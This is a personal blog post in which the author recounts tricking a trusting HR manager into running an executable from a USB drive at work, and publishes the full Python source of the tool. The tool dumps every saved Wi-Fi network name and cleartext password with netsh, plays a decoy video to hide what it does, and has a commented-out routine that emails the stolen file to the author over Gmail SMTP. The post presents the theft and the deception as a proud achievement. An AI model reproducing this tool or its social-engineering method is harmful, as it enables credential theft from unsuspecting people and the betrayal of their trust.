How I got the WIFI Passwords using a Python script

Dreamt.it
5 min readOct 19, 2021

This is a short tale of how I went from having a quite day to having to write a python script that extracted the WI-FI SSID and passwords that the target has ever connected to.

I woke up on a Sunday went to work, unfortunately i don't work in the IT department of this organization that i’ll call Umbrella Corp, i work for the laundry department i know, i total let down for a computer science student, but i have to feed my family somehow back to it, so i get to work on a Sunday and i found out the public Wi-Fi was now disabled, gone, non existing, it was unplugged by a ghoul who boost a lot about being the facility manager, and boy he pisses me off, why in the world should a facility manager interfere with an IT related thing, huh? simple he always wants to be on top of it all, to say i was pissed would be an understatement and coming from a place where having access to the internet cost so mush money, even after you pay your still not given unlimited access noooo!!! far from that your metered, your not sold speed nooo!!! your sold data caps, data freaking caps!!! if you bought 1GB once your transfer, download speed not to talk of the constant GET request i have to make to urls have added up to 1GB your disconnected , how in the word do you expect a curious me, a programmer, to make use of this huh? i usually subscribe today and end up finishing it the next freaking day!!! AHHH!!! Enough of my ranting back to the story….

So i turned to the one gift that has changed my life i trued to my super power almost i trued to Programming, yes i am an android developer ( currently learning still a noob) but i also make use of the python programming language and off i went into the vast space of the internet, until i came accross a script a very simple script that could get me all i needed the of course i had to understand how this code worked before i could use it, i aint no script kiddie or a hacker i just like to know how things work, gives me more command over it and I'm a fast leaner and a curious little one finally sprinkle imaginative all over that and you have a recipe for disaster lol i think, next step was creating a plan of attack i knew i could not go directly to the Facility Manager, so i went for the next best thing the Human Resource Manager, she’s you see a really beautiful nice lady older than i am by a millennium, but we have a relationship you see, she would call me up when she needed help with IT related stuff, perfect target, zero tech know how, yes i did feel bad i’d be betraying the trust she had in me but man i had to see my baby run man i had to see my baby run!!(by baby i mean my script).

I added the final touch i used the OpenCV library to display a video, i wanted this to serve as a reward for clicking on a suspicious exe file lol, to cut the long story short it worked!!!!!! now i’m more powerful than ever i have more Wi-Fi passwords than i know what to do with, here the source code below, you will notice a commented out section , i had planned to send it remotely through email and once the file was written it would send the text file to me but google!!!, decided using SMTP for sending email was deemed too “insecure” and yes i spent hours trying to solve the problem i even opened a Yahoo email account, yes Yahoo, imagine that Yahoo mail in 2021 “sheeeehhhhh”. In case your wondering i went in physical with a USB flash drive and plugged it into her pc, made up a story of why the flashdrive was not showing on my laptop and i wanted to know if it was my laptop or the flash drive was dead. Terrible i know i am but ehhhh.

import sys
import win32api,pythoncom
import os
#import pyHook,os,time,random,smtplib,string,base64
#from _winreg import *
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import cv2
import numpy as np

data = os.popen(“netsh wlan show profiles”).read()
data = data.split(“\n”)

profiles = []
for i in data:

if “All User Profile” in i:

# if found
# split the item
i = i.split(“:”)

# item at index 1 will be the wifi name
i = i[1]

profiles.append(i)

myPasswordList = []
fileone = open(“Mountain Of Fire Ministry.txt”, “w”)
for a in profiles:

rst = os.popen(“netsh wlan show profile name=” + a + “ key=clear”).read()
myPasswordList.append(rst)
#print(rst)

print(len(myPasswordList))
for i in range(len(myPasswordList)):
fileone.write(myPasswordList[i])
#print(myPasswordList[i])

fileone.close()

# Create a VideoCapture object and read from input file
cap = cv2.VideoCapture(‘F:\Khronous\(Dedsec).mp4’)

# Check if camera opened successfully
if (cap.isOpened()== False):
print(“Error opening video file”)

# Read until video is completed
while(cap.isOpened()):

# Capture frame-by-frame
ret, frame = cap.read()
if ret == True:

# Display the resulting frame
cv2.imshow(‘Frame’, frame)

# Press Q on keyboard to exit
if cv2.waitKey(25) & 0xFF == ord(‘q’):
break

# Break the loop
else:
break

# When everything done, release
# the video capture object
cap.release()

# Closes all the frames
cv2.destroyAllWindows()

### My Email Server Code: Gmail ######
##def Mailit(data):
## # This line of code is the credentials needed, when i need to send the data via my email address
## ############## Settings ##########################
##
## senderEmail = “” # This variable will contain my email account
## senderPassword = ‘’ # This varibale will contain my email password
## receiverEmail = “” # This varibale will contain where i want to send the file to
## timeInterval = 60 # This variable will be used to send the file every — seconds
##
## ############ End ######################
## message = MIMEMultipart()
## message[“From”] = senderEmail
## message[‘To’] = receiverEmail
## message[‘Subject’] = “Matter of privary”
##
## file = “MyPasswors.txt”
## attachment = open(file, ‘rb’)
##
## obj = MIMEBase(‘application’, ‘octet-stream’)
##
## obj.set_payload((attachment).read())
## encoders.encode_base64(obj)
## obj.add_header(‘Content-Disposition’,”attachment; filename= “+file)
##
## message.attach(obj)
##
## my_message = message.as_string()
## email_session = smtplib.SMTP(‘smtp.gmail.com’, 587)
## email_session.starttls()
## email_session.login(senderEmail, senderPassword)
##
## email_session.sendmail(senderEmail, receiverEmail, my_message)
## email_session.quit()
## print(“Email was sent successfully, all that’s left is the return email.”)
##
##
##
##Mailit(fileone)
#input(“”)

--

--

Dreamt.it

Tech enthusiast documenting my learning journey in software, hardware, and books. Discover practical tips and tricks for a seamless tech experience. 🚀